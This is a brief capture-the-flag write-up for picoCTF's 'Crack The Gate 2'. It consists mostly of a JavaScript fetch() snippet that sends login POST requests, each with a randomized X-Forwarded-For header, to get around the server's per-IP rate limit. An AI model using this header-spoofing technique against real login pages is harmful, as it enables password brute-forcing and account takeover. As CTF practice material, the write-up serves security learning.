Crack The Gate 2

- Here actually, we defeat the bypass rate limit by sending POST requests in the console that each time has a different IP:
- Here's the request:
  "fetch("/login", {
  method: "POST",
  headers: {
  "Content-Type": "application/json",
  "X-Forwarded-For":
  ```
  ${Math.floor(Math.random()*255)}.${Math.floor(Math.random()*255)}.${Math.floor
  (Math.random()*255)}.${Math.floor(Math.random()*255)}
  ```
  },
  body: JSON.stringify({
  email: "ctf-player@picoctf.org",
  password: "wrongpass"
  })
  })
  .then(r => r.text())
  .then(console.log)
- Focus on the header : "X-Forwarded-For"
